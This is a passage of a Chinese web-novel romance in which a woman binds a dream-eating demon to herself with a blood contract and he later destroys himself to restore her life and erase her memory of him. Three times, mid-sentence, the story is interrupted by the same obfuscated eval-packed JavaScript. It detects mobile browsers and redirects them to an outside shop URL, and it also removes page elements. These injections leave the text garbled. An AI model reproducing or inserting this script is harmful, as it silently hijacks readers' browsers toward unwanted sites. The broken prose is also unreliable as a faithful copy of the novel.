沈郁没说话，又趴回马桶沿上干呕。那声音听着不像是呕吐，像是有人在他喉咙里磨铁皮。 过了好半天，他才瘫坐在地砖上，喘得像个破风箱。 “苏南。”他也不看我，盯着地漏里的头发丝发呆，“以后别想我了。” “有病？”我拿纸巾去擦他嘴角的黑泥，纸巾一碰就化成了灰，“我还要想怎么还得起房贷，哪有空想你。” “我说真的。”他挡开我的手，那双琥珀色的眼睛浑浊得像两颗玻璃珠子，“你最近想我想得有点多。那些念头太硬了，我有结石了。” 我愣在那儿，半天才反应过来他在说什么鬼话。 “结石？” “差不多吧。”他指了指自己的胃，一脸厌世，“别人的遗憾是稀饭，喝了就消化了。你的遗憾里全是骨头渣子。我咽不下去，卡这儿了。” “骨头渣子？” “就是那些我也说不清是什么的……可能是你的占有欲？或者是你想跟我过一辈子的那种……蠢念头。”沈郁讥诮地扯了扯嘴角，露出一排惨白的牙齿，“太沉了。苏南，你想把我就这么噎死吗？” 我看着他，突然觉得一股无名火直冲天灵盖。 “沈郁你大爷的。” 我站起来，居高临下地指着他。 “当初是你赖在我门口求收留，是你非要吃我的‘遗憾’。现在你吃撑了，赖我给你的骨头太硬？我还没嫌你把我日子搅和得乱七八糟呢！” “所以我让你别想了啊。”他一脸无所谓，身体却开始忽明忽暗，像个快烧坏的灯泡，“我要走了。再不走，我就真炸了。” “走哪去？” “哪来回哪去。或者找个没人的地儿散了。”他撑着膝盖想站起来，试了两次没站稳，干脆就赖在地上，“反正你也看不见。等我没了，你就当我是发了场癔症。除了浪费你点水电费，你又不亏。” 他说得轻飘飘的，好像在说扔掉一袋垃圾。 我站在卫生间门口，看着镜子里那个脸色蜡黄、头发油腻的自己，又看着地上那个马上就要变成空气的怪物。 那一瞬间，我没觉得伤心，就觉得不甘心。 凭什么？ 凭什么我想扔掉的东西扔不掉，我想留下的东西，连个招呼不打就要烂在手里？ “沈郁，你是不是觉得特别潇洒？”我冷笑一声，“拍拍屁股走人，留我一个人在这破房子里发霉？你当我这儿是什么？免费食堂？” “那你想怎么样？”沈郁终于有些不耐烦了，声音变得尖锐，带着电流的滋滋声，“我都快碎了！苏南，你讲点道理行不行？我是妖，你是人，咱俩本来就是因为我饿了才凑一块的。现在我不饿了，我撑死了，这局散了不行吗？” “不行。” “你……” “我说不行！” 我也不知道哪来的邪火，冲过去一把揪住他的领子。虽然手里空荡荡的像抓了一把雾，但我还是死死攥着不放。 “你吃了我那么多情绪，我现在心里空得跟鬼屋似的，你拍拍屁股就想走？哪有这么便宜的事！” 沈郁看着我，眼神有点发愣。大概是没见过哪个女人在这个时候跟他算账。 “那你还想让我赔钱不成？” “我要你赔命。” 我松开他，转身冲进卧室，从床底下的那个旧饼干盒里翻出那本破书。 那书都快被虫蛀烂了，全是霉味。 我翻到折角的那一页，冲回卫生间，“啪”地一声把书摔在沈郁面前。 “识字吗？”我指着那一页。 沈郁扫了一眼，眉头皱得死紧：“共生契约？苏南你脑子进水了？这是禁术，搞不好咱俩直接暴毙。” “暴毙就暴毙。”我蹲下来，盯着他的眼睛，“总比我现在看着你消失强。” “为什么啊？”他一脸不可理喻，“你才二十八，离个婚又不是绝症。没了我就过不下去了？” “对，过不下去了。” 我承认得太快，反而把他噎住了。 “沈郁，我实话告诉你。我不想再一个人在那张破沙发上发呆了。我不想下雨天忘了带伞没人送，不想半夜听见楼道里有动静吓得不敢睡。我就是个俗人，我怕死，怕孤独，怕得要命。” 我喘了口气，感觉眼眶发热，但我死命憋着不让眼泪掉下来。 “你现在就两个选择。要么，咱俩签了这个生死状，你变成人，我有肉吃你有汤喝，咱俩凑合着活；要么，你现在就滚出去死外面，别脏了我的地砖。” 沈郁看着我，那眼神像是在看一个疯子。 但他没动。 卫生间里的灯泡滋滋作响，那股沥青味越来越浓。 过了大概有一世纪那么久，他突然笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088278|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那个笑特别难看，带着点自暴自弃的颓废。 “行。”他点了点头，“苏南，这可是你求我的。” “少废话。” 我去厨房拿了把水果刀。这刀平时是用来削苹果的，有点钝了。 我没犹豫，照着手腕来了一刀。血滋一下子冒出来，滴在那个充满尿骚味和清洁剂味的卫生间地板上。 “喝了。”我把手腕凑到他嘴边。 沈郁看着那血，喉结动了一下。那是一种本能的贪婪，也是一种深沉的恐惧。 “苏南，咱俩以后要是后悔了，连退票的窗口都没有。” “我买定离手。” 他闭上眼，像是在诅咒什么，然后猛地凑过来，一口咬住了我的手腕。 疼。 真他妈疼。 不像书里写的什么“灵魂的震颤”，就是单纯的疼。像是有个钻头顺着血管钻进了骨髓里，把我的五脏六腑都搅成了一锅粥。 我两眼一黑，直接栽倒在沈郁身上。 他也好不到哪去。那一瞬间，他发出一声根本不像是人能发出来的惨叫。 他身上那些黑雾像炸了一样四处乱窜，卫生间的镜子“哗啦”一声碎了一地。 我们在满地的碎玻璃渣子里打滚。 我听见骨头断裂又重组的声音，听见皮肉撕裂的声音。 “苏南……松手……”他在我耳边吼，声音都在抖。 “我不松！”我死死抱着他的脖子，哪怕那里烫得像块烙铁，“你敢死，我就做鬼缠着你！” 不知道折腾了多久。 我都快疼晕过去了，突然感觉怀里那个虚无缥缈的影子变沉了。 那种沉甸甸的、实实在在的重量，压得我肋骨生疼。 原本冰冷的触感消失了，取而代之的是一身黏糊糊的汗，还有那种烫人的、活人的体温。 周围安静了下来。 只能听见两个人的喘息声，粗重，狼狈，像是两条刚被冲上岸的死鱼。 我费劲地睁开眼。 沈郁趴在我身上，浑身都是汗，头发湿哒哒地贴在脸上。 他慢慢抬起头，那双琥珀色的眼睛已经没了那种诡异的光，变成了一双普通的、深褐色的眼珠子。眼角还有颗我不曾注意过的泪痣。 他看着我，伸手摸了摸我的脸。手是热的，甚至有点糙。 “苏南。”他开口，声音哑得像是吞了把沙子，“你真丑。” 我看着他那张也没好看到哪去的脸，咧嘴笑了，扯动了嘴角的伤口，疼得龇牙咧嘴。 “彼此彼此。” 我伸手抱住他现在这个有血有肉的身体，闻着他身上那股还没散去的血腥味和汗味。 窗外好像下雨了。 龙城的雨总是脏兮兮的，混着泥点子打在窗户上。 但此刻，我觉得这大概是我这辈子听过的，最安心的声音。 这就完了？ 对，这就完了。 55. 龙城旧事（4） 变成人以后的沈郁，其实挺招人烦的。 如果说以前的他是一件昂贵的、只能挂在墙上欣赏的黑色风衣，那现在的他，就是一件穿久了起球的毛衣，虽然贴身，但扎人，而且怎么洗都带着一股挥之不去的人间油烟味。 他开始有了实体，也就意味着他开始有了那个被称为“肉身”的沉重枷锁。 最先找上门来的不是爱，是疼。 那是我们缔结契约后的第一个月。深冬，暖气片烧得滚烫，发出那种要爆炸一样的轰鸣声。我们刚吃完一顿加辣的火锅，沈郁突然捂着腮帮子，从沙发上滚到了地毯上，整个人缩成了一只煮熟的虾米。 他的脸以肉眼可见的速度肿了起来，像是在腮帮子里塞了一整颗核桃，原本清冷的五官被挤得变了形，看起来滑稽又可怜。 “苏南……”他眼泪汪汪地看着我，说话含混不清，哈喇子顺着嘴角往下流，“我是不是要死了？我的脑浆里有人在开装修队。” 我举着手电筒，捏着他的下巴强行往里看。那是一种很奇妙的感觉，以前我碰都不敢碰的、充满了妖异气息的嘴唇，现在干裂、起皮，带着一股蒜泥味。 “大哥，那是蛀牙。”我看了一眼那颗已经黑了一半的大牙，没忍住笑出了声，“恭喜你，你的这具肉身虽然是重塑的，但牙釉质显然是豆腐渣工程。” 第二天，我带他去社区的牙科诊所。 那地方充满了那种让我生理性厌恶的丁香油味和消毒水味。当那个长得像杀猪匠一样的牙医把滋滋作响的钻头伸进沈郁嘴里时，这个曾经号称吞噬过无数噩梦、在龙城的夜色里横行霸道的食梦貘，发出了杀猪一样的惨叫。 那声音凄厉得吓人，候诊室里正在吃棒棒糖的小孩直接吓哭了，手里的糖掉了一地。 回来的路上，沈郁半边脸麻着，说话漏风，手里还紧紧攥着那袋医生开的消炎药，像攥着救命稻草。 “做人太苦了。”他看着车窗外灰蒙蒙的天，眼神空洞，“早知道这么疼，我就不该贪那口热乎气。我就该烂在那个冬天里。” “后悔了？”我给他递了一瓶冰水敷脸，“后悔了就把手剁了，把那半条命吐出来，契约自动解除，你变回你的灰尘去。我也省得伺候你。” 他没接话，只是侧过身，把那张还没消肿的脸埋进我的颈窝里。他的呼吸滚烫，带着一种劫后余生的颤抖。 “那不行。”他闷闷地说，声音很轻，却震得我锁骨发麻，“疼死也比饿死强。以前我是飘着的，现在我疼，但我踩在地上。” 为了养活这两张嘴，也为了填补我们那日益干瘪的钱包，沈郁出去找了份工作。 他在一家名叫“深潜”的清吧当调酒师。这工作适合他：昼伏夜出，跟各色各样心怀鬼胎的人打交道，而且不用晒太阳——他现在的皮肤嫩得像吸血鬼，一晒就脱皮。 他调酒的手艺其实很烂，但他长得好看，那双琥珀色的眼睛虽然变成了凡人的褐色，但依然带着股勾人的邪气。那些寂寞的男男女女愿意为了看他一眼，喝他调出来的像洗洁精一样的马提尼。 有时候我去接他下班。 那是凌晨两点，龙城最安静也最脏的时候。 我坐在吧台角落，看他一边擦杯子，一边盯着吧台前那个喝得烂醉的女人。那女人一边哭一边把刚买的爱马仕往地上摔，嘴里骂着男人的名字。 沈郁停下动作，鼻子轻轻动了动，像是在嗅什么。 “又犯瘾了？”我走过去，敲了敲吧台。 “没。”他收回目光，点了根烟。烟雾缭绕里，他的神情有些落寞，“那个女的，身上全是酸腐味。是那种被抛弃后的不甘心。要是搁以前，这算得上一道不错的凉菜。酸脆，爽口。” “现在呢？” “现在？”他吸了口烟，被劣质烟草呛得咳嗽了两声，眼角咳出了泪花，“现在我只能闻闻味儿。而且这味道闻多了反胃，就像看着别人吃红烧肉，自己只能喝白粥。” 他把烟掐灭在那个堆满了烟头的烟灰缸里，脱下制服，换上那件我给他买的优衣库打折羽绒服。 “走吧回家。”他拉住我的手，他的手粗糙了一些，指腹上有了茧子，“你那锅排骨汤要是炖干了，我跟你急。我现在只有那玩意儿能填饱肚子。” 我们就这样过着日子。 庸俗，琐碎，充满了烟火气，以及那股子怎么洗也洗不掉的、属于贫贱夫妻的馊味。 我们谁也没提那个倒计时。 按照那本破书的说法，我分了一半寿命给他。哪怕我本来能活八十岁，分给他一半，我们也能活到五十多。 二十几年呢。 对于在那间没有电梯的出租屋里熬日子的我们来说，二十年，那就是永远。永远太长了，长得让我们产生了幻觉，以为这这种日子能一直像流水一样淌下去。 如果你贷过款，你就知道，崩盘往往不是因为还不起本金，而是因为你算错了利息。 这就是我们犯的逻辑错误。或者说，是我们在这个巨大的、冷漠的宇宙规则面前，犯下的天真错误。 书上写的是“共享生命”。 但我忘了，沈郁的身体是重塑的。 把一个原本是气体、是能量团的妖，强行压缩进一个碳基生物的脆弱躯壳里，还要维持这具躯壳的每一个细胞运转，维持他的心跳、呼吸、代谢，这需要的能量不是普通人的“一倍”，而是**“十倍”**。 这具看起来年轻、结实的身体，本质上是一个巨大的、永远填不满的耗能黑洞。 而这个黑洞的燃料，不是饭，不是水，是我的命。 变故发生在第三年的冬天。 那年我三十二岁。 最早的征兆并不是什么惊天动地的大病，而是头发。 那天早上我在洗头。泡沫冲掉的瞬间，我感觉手里的触感不对。那种顺滑太过分了，没有任何阻力。我低头一看，白色的瓷砖上，趴着一团黑色的东西，密密麻麻，像是一团死去的线虫。 那是我的头发。 我愣了一下，下意识地去摸头顶。湿漉漉的发根处，露出一块硬币大小的头皮，惨白，光秃秃的，在浴室的灯光下反着光。 “大概是最近熬夜太多了。” 我对着镜子，把剩下的头发拨弄了一下，试图盖住那块斑秃。我这么安慰自己，随手把那团头发扔进了垃圾桶。 但很快，事情就不对劲了。 衰老不是慢慢来的，它是像泥石流一样轰隆隆地砸下来的。 我开始爬不动楼梯。以前一口气上六楼不费劲，现在爬到三楼就得扶着满是灰尘的扶手歇会儿，心脏在胸腔里疯狂撞击，像是一只被困在笼子里的鸟，每一次跳动都带着撕裂般的痛。 我的皮肤变得干燥、松弛。不是那种因为缺水而起的皮，而是像干枯的橘子皮一样失去了弹性。眼角出现了深刻的纹路，手背上长出了几颗褐色的斑点——那是老人斑。 我开始买各种各样的抗衰老精华，哪怕那些瓶瓶罐罐花掉了我半个月的工资。 我在商场的专柜试用粉底，那个化着浓妆的柜姐看着我的脸，眼神里透着一种掩饰不住的怜悯和惊讶。 “姐，”她小心翼翼地说，“您这款粉底可能遮不住……您的皮肤状态，有点像我妈。” 我落荒而逃。 也就是在那年冬至，龙城下了第一场雪。 我在公司加班，整理一份关于养老金制度的校对稿。看着那一行行关于“退休”、“衰老”、“死亡”的字眼，我突然觉得一阵天旋地转。 眼前的电脑屏幕变成了无数个光斑，键盘敲击的声音变得很远。 我听见自己倒在地上的声音，很沉闷，像是一袋面粉砸在了地板上。 醒来的时候是在医院。 白色的墙，白色的床单，那种让人窒息的消毒水味。 医生拿着我的检查报告，站在床尾。他是个谢顶的中年男人，眉头锁得能夹死一只苍蝇。 “家属呢？”医生问，语气很冲。 “我是。” 沈郁推门进来。 他穿着那件洗得发白的羽绒服，大概是跑着来的，额头上全是汗。这三年，他也老了。那种妖异的少年感消失了，眼角有了细纹，鬓角甚至有了几根白发。但他依然比我好看太多。 医生看了看他，又看了看躺在床上像具干尸一样的我，神色变得非常古怪。 “你是她儿子？” 病房里死一样的寂静。 沈郁的脸瞬间白了。他死死抓着椅背，手背上青筋暴起，指节发白。 “我是她丈夫。”他咬着牙，每个字都像是从牙缝里挤出来的。 医生愣了一下，随即推了推眼镜，掩饰尴尬，但这并没有让他的语气变好一点。 “你爱人今年多大？” “三十二。” “三十二？”医生把片子往桌子上一摔，发出“啪”的一声脆响，“你看看这片子！骨质疏松程度相当于六十岁，心肺功能衰竭相当于七十岁！卵巢已经完全萎缩了。她是三十二还是七十二？你们是怎么过日子的？是不是吃了什么乱七八糟的药？” 我躺在床上，听着头顶输液瓶里液体滴落的声音。 嘀嗒。嘀嗒。 那是我的生命在倒计时。 “医生，能治吗？”沈郁问，声音哑得像是吞了把沙子。 “治？”医生冷笑了一声，“这叫早衰症。而且是极速型的，我从医三十年没见过这么快的。她的身体就像是一个漏了底的桶，不管怎么补，生命力都在哗哗地往外流。就像是一个本来能烧一晚上的蜡烛，被人两头点着了，还在中间加了个助燃剂。” “准备后事吧。照这个速度，也就是这个冬天的事。” 回到家，沈郁一句话没说。 他把我抱上六楼。以前他抱我很轻松，现在我轻得像把柴火，他却喘得像头牛。 他把我放在床上，盖好被子，转身去了阳台。 隔着一道玻璃门，我听见打火机的声音。 一下，两下，三下。总是打不着。 最后，“啪”的一声，那个一块钱的塑料打火机被狠狠摔在了地上，炸裂开来。 我掀开被子，光着脚走到阳台。地砖很凉，但这对我这双已经开始麻木的脚来说，刺激并不大。 龙城的冬天依然是那副半死不活的样子。灰色的天，灰色的楼，灰色的雪。远处高架桥上的车灯拉成一条红色的线，像是一道流血的伤口。 沈郁撑着栏杆，肩膀在剧烈地颤抖。 “别抽了。” 我从后面抱住他。我的手环过他的腰，那里瘦得只剩下骨头。曾经那个因为妖力而永远冰冷的身体，现在热烘烘的。 但这热度，是我拿命换来的。 “苏南。” 他没有回头，声音低得几乎被风吹散。 “我们被骗了。” “书上没说假话，是我们自己蠢。”他转过身，看着我。 借着阳台昏黄的灯光，他看清了我的脸。那张布满了皱纹、色斑，松弛下垂的脸。那张属于一个七十岁老人的脸。 他的眼眶瞬间红了，全是红血丝。他颤抖着伸出手，想要摸我的脸，却又在半空中停住，像是怕一碰我就会碎掉。 “维持这具身体，需要的不是一半的生命力。”他惨笑了一声，眼泪顺着脸颊滚下来，“是个无底洞。我在吸你的血，苏南。每一分每一秒，我只要呼吸一口气，就要烧掉你一个小时的命。” “我们以为是五五分账，其实是九一开。我九，你一。” 我看着他，心里竟然没有太多的惊讶。 其实我早就感觉到了。 那种每天早上醒来，身体像被抽空了一样的疲惫感；那种明明吃了很多，却依然感觉不到力量的虚弱感；那种看着镜子里的自己一天天枯萎的恐惧感。 我的身体早就知道真相，只是我的脑子在装傻。 “那又怎么样？” 我抬起头，尽量让自己的声音听起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088279|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静，尽管那声音沙哑得像只乌鸦。 “三年。我们偷了三年。对于我这种本来也没什么大出息、离了婚也没人要的女人来说，够本了。” “我不够！” 沈郁突然吼了起来。他一把推开我，力气大得让我踉跄着退后了好几步，撞在了洗衣机上。 “苏南，你照照镜子！你看看你现在什么样！你才三十二岁！你应该去穿那种显身材的裙子，去涂那种红得吓人的口红，去和别的男人约会，而不是像个老太婆一样在这儿等死！” “我乐意！” 我也吼回去，用尽了肺里最后一点空气。 “我就是变成老太婆怎么了？沈郁你嫌我丑了是吧？当初是谁像条癞皮狗一样赖在我门口求我收留的？现在你有人模狗样了，嫌弃糟糠之妻了？你那良心是不是也跟这肉身一样，是豆腐渣做的？” “你别给我偷换概念！” 他气得浑身发抖，指着我的鼻子，眼泪却先掉了下来，砸在地砖上。 “我宁愿变回那个孤魂野鬼，变回那滩没人要的烂泥，也不想看着你为了养我把自己熬成这副鬼样子。这叫什么？这叫吃人！我沈郁是妖，我是坏，但我不是畜生！” “我不想欠你一条命！这太重了，我背不动！” 他蹲在地上，抱着头，发出了压抑的呜咽声。 那声音在寂静的阳台上回荡，听得人心都碎了。 那天晚上的争吵没有结果。 就像这三年里的无数次争吵一样，最后都是以疲惫告终。 我们像两只受了重伤的野兽，互相撕咬了一番后，发现谁也咬不死谁，又不得不因为怕冷而蜷缩在一起。 半夜，我醒了过来。 因为骨质疏松，我的膝盖在阴天会疼得钻心，像是有无数根针在里面扎。我不想吵醒沈郁，咬着牙忍着，冷汗把睡衣都浸透了。 我下意识地伸手去摸旁边。 摸到了他。 他没睡，背对着我，身体绷得很紧。 “沈郁？”我小声叫他。 他转过身。 借着窗外透进来的微弱月光，我看见他的眼睛睁得很大，亮得吓人。他看着我，就像是在看一件快要被打碎的瓷器。 “怎么了？”我摸了摸他的脸，“还在生气？” “没。” 他摇摇头，声音有点哑。他抓住我的手，把脸埋进我的掌心里。他的眼睫毛扫着我的手心，痒痒的，湿湿的。 “苏南，如果……”他顿了一下，“如果我们能重新选一次，你还会开那个门吗？” 我笑了，虽然脸上的皱纹让这个笑容看起来可能有点狰狞。 “会啊。”我说，“那时候我多冷啊。不开门，我早就冻死了。” 他没说话，只是更用力地抱紧了我。 那一刻，我觉得他有点不对劲。他抱得太紧了，紧得让我有点喘不过气。那是一种带着绝望的、仿佛下一秒就要失去所有的力度。 但我以为他只是在害怕。 毕竟医生说了，我就剩这一个冬天了。 “别怕。”我拍着他的后背，像哄小孩一样哄他，“你看，我都想好了。等我死了，这房子留给你。虽然是租的，但押金我也没退。你可以找个不用爬楼梯的地方，找个不像我这么爱发脾气的老婆……” “闭嘴。” 他闷声打断我，“睡觉。” 那一夜，他一直抱着我，没有松手。 我以为这就是我们剩下的日子了：互相取暖，等待死亡，然后在某一个清晨，我先走一步，留他在这个世界上继续那漫长而孤独的余生。 我甚至觉得这样也挺好。 至少我死的时候，身边是有人的。至少这三年的每一天，都是热乎的。 第二天早上，我是被一阵香气馋醒的。 沈郁在煮粥。 他系着围裙，站在那个狭窄的厨房里，阳光照在他的侧脸上。他看起来那么年轻，那么生动，跟此刻躺在床上、连翻身都费劲的我，完全是两个物种。 “醒了？” 他端着碗走过来，脸上带着那种我很熟悉的、懒洋洋的笑。昨晚那个歇斯底里的沈郁不见了，他又变回了那个有点欠揍的调酒师。 “我想了想，”他把剥好的鸡蛋放在我碗里，“既然医生说没多少日子了，那咱们也别在那儿哭丧着脸了。” “那干嘛？”我咬了一口鸡蛋，蛋黄噎得我直翻白眼。 “去旅游吧。” 他抽了张纸巾给我擦嘴，动作温柔得不像话。 “听说城南那个湿地公园，梅花开了。那是龙城唯一干净点的地方。咱们去看看？顺便给你拍两张遗照，省得你到时候没得挑。” 我被他气笑了，拿筷子敲了一下他的手背。 “嘴这么毒，小心以后没人要。” “去不去？” “去。” 我看着窗外，今天难得出了太阳，虽然那太阳白惨惨的，没有什么温度。 “去看看也好。”我轻声说，“我这辈子，还没怎么看过正经的梅花呢。” 我不知道的是，他在那个通宵未眠的夜晚里，究竟想了些什么。 我更不知道，他昨晚偷偷翻开那本《异闻录》的时候，究竟看到了什么。 我天真地以为，这是一场属于两个将死之人的、最后的浪漫逃亡。我以为我们是去向这个世界告别的。 所以我穿上了那件压箱底的红色大衣，虽然它穿在我现在这副枯瘦的躯壳上，显得空荡荡的，像个挂在衣架上的麻袋。 我还涂了口红。那是很艳的颜色，涂在我充满皱纹的嘴唇上，其实很滑稽。 “好看吗？”我问他。 沈郁看着我，眼神定定的，像是在要把我现在的样子刻进脑子里。 “好看。”他笑着说，眼底却涌动着我看不懂的深渊，“苏南最好看。” 那一刻，我心满意足。 哪怕是死，我也没什么遗憾了。 56. 龙城旧事（5） 城南的湿地公园，其实就是一片还没开发好的荒地。 因为是冬天，芦苇全都枯死了，呈现出一种毫无生气的灰黄色，大片大片地倒伏在冻得结结实实的湖面上。没有游客，只有几只不知名的水鸟，偶尔在枯草丛里发出几声凄厉的叫声。 天很阴，云层低得像是要压到头顶。 我穿着那件不合身的红色大衣，挽着沈郁的手臂，走得很慢。 其实我已经走不动了。我的肺像是一个破了的风箱，每吸一口冷气，胸腔里就传来一阵拉锯般的剧痛。我的腿骨在打颤，全靠沈郁架着我半边身子，我才没有瘫在地上。 “好看吗？”沈郁指着那片灰败的芦苇荡，笑着问我。 “好看个屁。”我喘着气，实话实说，“像乱葬岗。” 沈郁笑出了声。那笑声清朗，在空旷的野地里回荡，好听得让人想哭。 “苏南，你这张嘴啊，真是到死都改不了。” “改了就不是我了。” 我们走到湖边的长椅上坐下。椅子上落满了雪，沈郁用袖子把雪扫干净，又脱下他的围巾垫在上面，才扶着我坐下。 我靠在他怀里，看着远处灰蒙蒙的湖面。 身体越来越冷了。那种冷是从骨髓里透出来的，像是血液正在结冰。我知道，我快不行了。那个医生说得对，我就是根两头烧的蜡烛，现在，芯子已经烧到底了。 “沈郁。”我轻声叫他。 “嗯？” “我死以后，你就把这契约解了吧。”我费劲地从口袋里掏出一张银行卡，塞进他手里，“密码是你生日。虽然钱不多，但这几年你也没攒下什么。拿着这点钱，去个暖和点的城市。别待在龙城了，这地方太冷，不养妖。” 沈郁低头看着那张卡，眼神有些发愣。 过了许久，他才慢慢收起卡，揣进兜里。 “好。”他说，“听你的。” “还有，”我感觉眼皮越来越沉，视线开始模糊，“下辈子……算了，也不一定有下辈子。如果真有，你也别当妖了。当妖太累，还要吃那些乱七八糟的情绪。你就当只猫吧，还是黑猫，我哪怕是要饭，也会把你捡回去的。” 沈郁的手臂收紧了一些。他把下巴抵在我的头顶，我感觉到他在发抖。 “苏南。”他在我耳边轻声说，“没有下辈子了。” “也对。”我迷迷糊糊地笑了，“这辈子都过得这么费劲，谁还想来第二次啊。” “我是说，”他的声音突然变得很低，带着一种奇异的、温柔的决绝，“我没有下辈子了。” 我还没反应过来他这句话是什么意思，突然感觉手腕上一阵剧痛。 那是当初我们割腕结契的地方。 我猛地睁开眼，却发现身体动不了了。一种无形的力量将我死死定在长椅上。 沈郁松开了我。 他站起来，退后了两步，站在离我一米远的雪地里。 风突然大了，卷起地上的雪沫，在他身边打着转。他站在风暴中心，脸色苍白如纸，但那双眼睛却亮得惊人。 “你要干什么？”我心里涌起一股巨大的恐慌，那是比死亡更可怕的预感，“沈郁，你过来！” “苏南，账算错了。” 他看着我，嘴角挂着那个我最熟悉的、玩世不恭的笑容。 “不是五五分，也不是九一开。这笔买卖，从一开始就是我赚了。我用你三年的寿命，换了一场做人的美梦。我知足了。” “你在说什么屁话？”我拼命想站起来，但双腿像是不是我的一样，根本不听使唤，“你扶我起来！我们回家！” “回不去了。” 沈郁摇摇头。他开始解开外套的扣子，然后是衬衫。 随着他的动作，惊悚的一幕发生了。 他的胸口——那个原本应该有着温热心跳的地方，开始发光。 不是那种神圣的金光，而是黑色的光。那是纯粹的、被压缩到了极致的妖力。那团黑光像是一个黑洞，正在疯狂地吞噬着这具肉身。 他的皮肤开始皲裂，像破碎的瓷器。裂缝里没有血流出来，只有无数细小的、发光的尘埃在向外喷涌。 “沈郁！！” 我撕心裂肺地尖叫，声音划破了荒野的寂静。 “停下！我知道你要干什么了！你给我停下！我不许你解契！我不许！” “晚了。” 他的身体开始崩解。先是指尖，化作飞灰；然后是手臂，肩膀…… 但他依然看着我，眼神温柔得像是一潭水。 “书上说，解契的唯一方法，是妖自毁肉身，散尽灵识。”他的声音开始变得空灵，像是有无数个回声，“苏南，我要把你的一半命还给你。连利息一起还给你。” “我不要！”我哭得浑身抽搐，眼泪鼻涕糊了一脸，“我宁愿死！沈郁你这个混蛋，你凭什么替我做主？你问过我愿不愿意吗？我要你陪我一起死，我不要一个人活！” “傻瓜。” 他的下半身已经完全消失了，整个人悬浮在半空中，只剩下一个残缺的上半身和那张脸。 即便是在这种恐怖的时刻，他依然在笑。 “你才三十二岁。你的人生还有那么长。你会遇到新的人，会有新的故事。而我……我只是你漫长生命里的一场重感冒。” “不……不要……” “苏南，看着我。” 他用尽最后的力量，向我飘过来。那只已经半透明的手，轻轻触碰了一下我的额头。 冰凉。 就像三年前那个雨夹雪的夜晚，他第一次碰到我时一样。 “忘了我。” 这是他对我说的最后三个字。 也是他对这个世界最后的诅咒。 “轰——” 一声巨响，像是什么东西在空气中彻底炸裂。 沈郁消失了。 取而代之的，是一场盛大的、黑色的雨。 那些从他身体里崩解出来的能量，并没有消散在风里，而是像是有意识一般，疯狂地向我涌来。它们顺着我的毛孔、顺着我的呼吸，强行钻进了我的身体。 疼。 比三年前结契时还要疼一万倍。 那是逆生长的剧痛。 我感觉到我体内那些衰竭的器官，在这一瞬间被注入了过量的燃料，开始疯狂地运转。 我的心脏剧烈跳动，像个擂鼓；我的骨骼发出令人牙酸的“咔吧”声，萎缩的骨质在重生，弯曲的脊椎被强行拉直。 我低头，看见自己干枯如树皮的手背上，那些褐色的老人斑正在以肉眼可见的速度褪去。松弛的皮肤重新变得紧致、饱满。 我抬手去摸脸，摸到了光滑的额头，摸到了富有弹性的脸颊。 但我一点也不觉得高兴。 我觉得恶心。 我觉得我在吃人。我在吃沈郁的尸体。 这些重新回来的青春，这些重新变得有力的心跳，都是沈郁炸碎了自己换来的。每一口呼吸，我都闻到了他身上那股铁锈味和雪味。 “啊啊啊啊啊——” 我跪在雪地里，发出了一声不像人类的嚎叫。 那种痛苦不是来自□□，而是来自灵魂被硬生生剜掉一块的空洞。 随着身体的恢复，另一种更可怕的事情发生了。 我的脑子开始变乱。 那些关于沈郁的记忆，像是在被一块巨大的橡皮擦强行擦除。 我想起他的脸，他的脸就开始模糊；我想起他的声音，声音就开始变调。 “苏南，借我一点体温。” ——这句话在变淡。 “苏南，你真丑。” ——这句话在消失。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088280|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们去旅游吧。” ——这句话变成了空白。 “不要！我不忘！” 我拼命地在大脑里抓取那些画面，像个溺水的人想要抓住最后一根稻草。我用指甲狠狠掐进掌心里，想要用疼痛来留住记忆。 我要记得他。记得他的琥珀色眼睛，记得他蛀牙时的惨叫，记得他在阳台上抽烟的背影。 如果连我都忘了他，那他就真的不存在了。 可是，那个咒语太强大了。 那是食梦貘最后的、也是最强的天赋——吞噬梦境，也吞噬记忆。 我的视线开始模糊，意识开始涣散。 最后，我倒在了雪地里。 在闭上眼的前一秒，我看见漫天的柳絮……不，是雪花，纷纷扬扬地落下来，覆盖了那个长椅，覆盖了地上的脚印，也覆盖了那个曾经站着一个人的空地。 一片白茫茫。 真干净啊。 三年后。 龙城的冬天依然很冷。 我从花店出来，锁好门，把围巾裹紧了一些。 我今年三十五岁。未婚，单身，经营着一家生意还不错的花店。 朋友们都说我活得像个标本：生活规律，情绪稳定，保养得当。虽然三十五岁了，但皮肤好得像二十几岁的小姑娘，连根白头发都没有。 